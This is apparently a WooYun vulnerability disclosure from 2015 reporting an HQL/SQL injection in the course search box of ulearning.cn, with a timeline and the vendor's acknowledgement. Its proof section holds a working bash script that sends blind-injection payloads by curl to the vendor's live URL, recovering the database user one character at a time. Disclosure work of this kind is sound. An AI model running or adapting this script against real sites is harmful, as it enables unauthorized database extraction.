当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0129445

漏洞标题:优学院某处HQL注入

相关厂商:ulearning.cn

漏洞作者: asxalex

提交时间:2015-07-27 22:32

修复时间:2015-09-12 14:14

公开时间:2015-09-12 14:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-27: 细节已通知厂商并且等待厂商处理中
2015-07-29: 厂商已经确认,细节仅向厂商公开
2015-08-08: 细节向核心白帽子及相关领域专家公开
2015-08-18: 细节向普通白帽子公开
2015-08-28: 细节向实习白帽子公开
2015-09-12: 细节向公众公开

简要描述:

233 求个注册码

详细说明:

http://www.ulearning.cn/ulearning_web/web!course.do 搜索框存在注入

Screen Shot 2015-07-26 at 3.21.58 PM.png


Screen Shot 2015-07-26 at 3.23.03 PM.png

漏洞证明:

写了个脚本,跑出了user()

#! /bin/sh
#
# abc.sh
#
# Distributed under terms of the MIT license.
#
temp=""
length0=0
table=(- . 0 1 2 3 4 5 6 7 8 9 @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z _ a b c d e f g h i j k l m n o p q r s t u v w x y z)
while True
do
res=""
for i in ${table[@]}
do
result=$(curl -X POST http://www.ulearning.cn/ulearning_web/web\!course.do -d "keyword=' and user() < '$temp$i' and name like '" 2>/dev/null | wc -c)
#length=`wc -c hello.txt | awk '{print $1}'`
if [[ "$result" -gt 50000 ]]; then
temp=$temp$res
break
else
res=$i
fi
done
length1=${#temp}
if [ $length1 == $length0 ]; then
break
fi
echo $temp
length0=$length1
done


Screen Shot 2015-07-26 at 3.24.58 PM.png

修复方案:

版权声明:转载请注明来源 asxalex@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-07-29 14:12

厂商回复:

感谢!!已转给我厂攻城狮们了~

最新状态:

暂无